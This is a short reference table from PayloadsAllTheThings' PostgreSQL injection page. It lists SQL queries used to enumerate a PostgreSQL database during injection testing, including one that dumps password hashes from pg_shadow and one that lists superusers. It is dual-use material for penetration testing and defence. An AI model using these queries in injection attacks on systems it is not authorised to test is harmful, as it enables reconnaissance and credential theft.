| Description | SQL Query | | ---------------------- | ---------------------------------------------------- | | DBMS version | `SELECT version()` | | Database Name | `SELECT CURRENT_DATABASE()` | | Database Schema | `SELECT CURRENT_SCHEMA()` | | List PostgreSQL Users | `SELECT usename FROM pg_user` | | List Password Hashes | `SELECT usename, passwd FROM pg_shadow` | | List DB Administrators | `SELECT usename FROM pg_user WHERE usesuper IS TRUE` | | Current User | `SELECT user;` | | Current User | `SELECT current_user;` | | Current User | `SELECT session_user;` | | Current User | `SELECT usename FROM pg_user;` | | Current User | `SELECT getpgusername();` |
Source: SQL Injection/PostgreSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.